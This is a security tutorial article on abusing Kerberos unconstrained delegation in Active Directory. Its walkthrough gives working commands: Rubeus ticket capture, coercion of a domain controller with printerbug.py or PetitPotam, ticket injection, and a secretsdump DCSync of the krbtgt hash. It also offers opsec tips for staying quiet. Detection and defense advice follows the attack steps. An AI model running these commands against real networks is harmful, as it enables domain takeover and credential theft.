Unconstrained Delegation Abuse and TGT Capture

Unconstrained Delegation Abuse and TGT Capture - article cover image Active Directory
Time it takes to read this article 5 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Unconstrained (or full) Kerberos delegation is a legacy feature that lets a service impersonate the users who authenticate to it to *any* other service in the domain. To make that possible, the KDC hands the delegating service a copy of each authenticating user’s Ticket-Granting Ticket (TGT), which the service caches locally. Any attacker with administrative control of such a host can harvest those cached TGTs from LSASS and replay them — becoming the user, wherever that user’s TGT can reach.

What turns this from a nuisance into a domain-takeover primitive is authentication coercion. An attacker does not have to wait for a privileged user to log in; they can *force* a target — most damagingly a Domain Controller — to authenticate to the compromised unconstrained host, capturing the DC’s own TGT. With a DC’s TGT in hand, the attacker can perform a DCSync and extract every credential in the domain, including the krbtgt key. Unconstrained delegation on a non-DC host is therefore treated as a critical misconfiguration.

Attack Prerequisites

The attack chains control of a delegation host with the ability to trigger authentication from a valuable target:

  • Administrative/SYSTEM control of a host configured for unconstrained delegation — you must be able to read LSASS or capture tickets on it.
  • A computer or user account flagged TRUSTED_FOR_DELEGATION in its userAccountControl — this is what causes the KDC to forward TGTs to it.
  • A coercion vector — an RPC method that makes a target authenticate back, such as the MS-RPRN print spooler bug or MS-EFSRPC (PetitPotam).
  • Network reachability from the target to your capture host on the relevant RPC ports, plus any low-privileged domain account to launch the coercion.
  • A capture tool running on the host — Rubeus monitor, or mimikatz sekurlsa::tickets — to extract the forwarded TGT.

How It Works

When an account has the TRUSTED_FOR_DELEGATION bit set (UAC value 0x80000, 524288), the KDC treats it as trusted to impersonate users everywhere. During Kerberos authentication to that service, the client requests a forwardable TGT and includes it, encrypted, inside the authenticator so the service receives a usable copy of the user’s TGT. The service caches that TGT (in LSASS) so it can later request service tickets *as the user* to downstream services. There is no restriction on which downstream services — hence ‘unconstrained’.

An attacker who owns the delegation host simply reads those cached TGTs out of memory. Every user who has authenticated to the host has left their TGT behind, ready to be exported and reinjected into the attacker’s session. On its own that yields whatever accounts happen to have connected. The power move is to control *who* connects.

That is where coercion comes in. The MS-RPRN ‘printer bug’ exposes RpcRemoteFindFirstPrinterChangeNotificationEx, an RPC call that instructs the print spooler on a remote machine to notify a caller-specified host of print-queue changes — over authenticated Kerberos, using the machine account. Point a Domain Controller’s spooler at your unconstrained host and the DC authenticates to you, forwarding DC01$’s TGT. Because a DC’s machine account can DCSync, capturing that single TGT is equivalent to compromising the whole domain.

Vulnerable Configuration: What Makes It Exploitable

The root misconfiguration is the delegation flag on a non-essential host. You can enumerate it directly from the userAccountControl bitmask — TRUSTED_FOR_DELEGATION (0x80000) set on a computer that is not a Domain Controller is the red flag:

# LDAP filter for unconstrained-delegation computers (excluding DCs):
(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))

# On the object itself the flag appears as:
userAccountControl:  WORKSTATION_TRUST_ACCOUNT | TRUSTED_FOR_DELEGATION
                     (0x1000 | 0x80000)
TEXT

From PowerView the same hosts fall out with a single query; each result is a machine whose LSASS will hoard the TGT of anyone (or anything) that authenticates to it:

Get-DomainComputer -Unconstrained | select dnshostname, useraccountcontrol
# Any non-DC returned here is an unconstrained-delegation abuse target.
PowerShell

The second half of the vulnerable condition is a coercible service. A print spooler running and reachable on the target (the classic printer bug) or an EFSRPC endpoint (PetitPotam) provides the trigger that supplies a high-value TGT on demand.

Walkthrough / Exploitation

First locate an unconstrained host you control (or have compromised). Then start a ticket monitor on it. Rubeus monitor polls for newly cached TGTs and base64-encodes any it sees, so you can catch the forwarded ticket the instant the coercion lands:

# On the compromised unconstrained host (as SYSTEM):
Rubeus.exe monitor /interval:5 /filteruser:DC01$
# Rubeus prints the base64 .kirbi of any TGT that arrives for DC01$.
TEXT

Now coerce the Domain Controller to authenticate to your host. impacket’s printerbug.py (or dementor.py / PetitPotam) triggers MS-RPRN; the DC’s machine account authenticates back and its TGT is forwarded and captured:

# Force DC01 to authenticate to your unconstrained host (attackerhost):
printerbug.py corp.local/lowpriv:Password1@dc01.corp.local attackerhost.corp.local

# Alternative coercion via MS-EFSRPC:
# PetitPotam.py -u lowpriv -p Password1 -d corp.local attackerhost dc01.corp.local
Bash

Rubeus captures DC01$’s TGT. Inject it into your session, or on Linux write it to a ccache. With the DC machine-account TGT active, run a DCSync to pull the krbtgt (and any user’s) hash via impacket’s secretsdump.py:

# Reinject the captured base64 TGT:
Rubeus.exe ptt /ticket:doIFuj...base64...
klist
TEXT
# With DC01$'s TGT active, DCSync the krbtgt hash (domain takeover):
secretsdump.py -k -no-pass corp.local/'DC01$'@dc01.corp.local -just-dc-user krbtgt
# The krbtgt hash enables Golden Ticket forgery for persistent domain access.
Bash

Note: If you can add or control a computer account, a stealthier variant of full delegation abuse is possible without owning a pre-existing unconstrained host by combining coercion with an account you set TRUSTED_FOR_DELEGATION on. Also note that the print spooler is not the only coercion surface — MS-EFSRPC (PetitPotam), MS-DFSNM (DFSCoerce), and MS-FSRVP (ShadowCoerce) provide alternatives when the spooler is disabled.

Opsec: Coercion generates an inbound authentication from the target to your host that shows up in DC logs, and DCSync produces replication events. The printer bug requires the Print Spooler service to be running on the target; many hardened DCs now disable it, so have EFSRPC/DFSNM fallbacks ready. Purge captured tickets when finished to avoid leaving reusable material on disk.

Detection and Defense

Defense starts with removing unconstrained delegation entirely and closing the coercion vectors; detection watches for the coercion RPC calls and anomalous machine-account authentication.

  • Eliminate unconstrained delegation — migrate to constrained or resource-based delegation, and audit for the TRUSTED_FOR_DELEGATION flag on all non-DC computers.
  • Add sensitive accounts to Protected Users and set ‘Account is sensitive and cannot be delegated’ (the NOT_DELEGATED UAC flag) on privileged users and DC accounts so their TGTs are never forwarded.
  • Disable the Print Spooler on Domain Controllers and servers that do not need it, and block the other coercion surfaces (EFSRPC, DFSNM) where possible.
  • Monitor coercion and replication — unexpected DCSync (4662 with the directory-replication GUIDs from a non-DC), and machine-account TGT requests (4768) from unusual hosts, are strong indicators.
  • Network controls — restrict which hosts DCs can initiate outbound SMB/RPC authentication toward to blunt coercion.

Real-World Impact

The combination of unconstrained delegation and the MS-RPRN printer bug (published as the ‘PrinterBug’/SpoolSample research in 2018) became one of the most reliable domain-takeover chains in Active Directory assessments, and the later PetitPotam (MS-EFSRPC) coercion extended it even to environments with the spooler disabled. These techniques repeatedly appear in red-team reports and real intrusions precisely because a single unconstrained host plus a coercion primitive collapses the distance from a low-privileged foothold to krbtgt and full domain control.

Conclusion

Unconstrained delegation caches a copy of every authenticating user’s TGT on the delegating host, and coercion lets an attacker choose the victim — up to and including a Domain Controller. The chain from a TRUSTED_FOR_DELEGATION flag and a running spooler to krbtgt is short and well-tooled. Retire unconstrained delegation in favour of resource-based constrained delegation, protect sensitive accounts from being delegated, disable needless coercion surfaces, and the primitive disappears.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL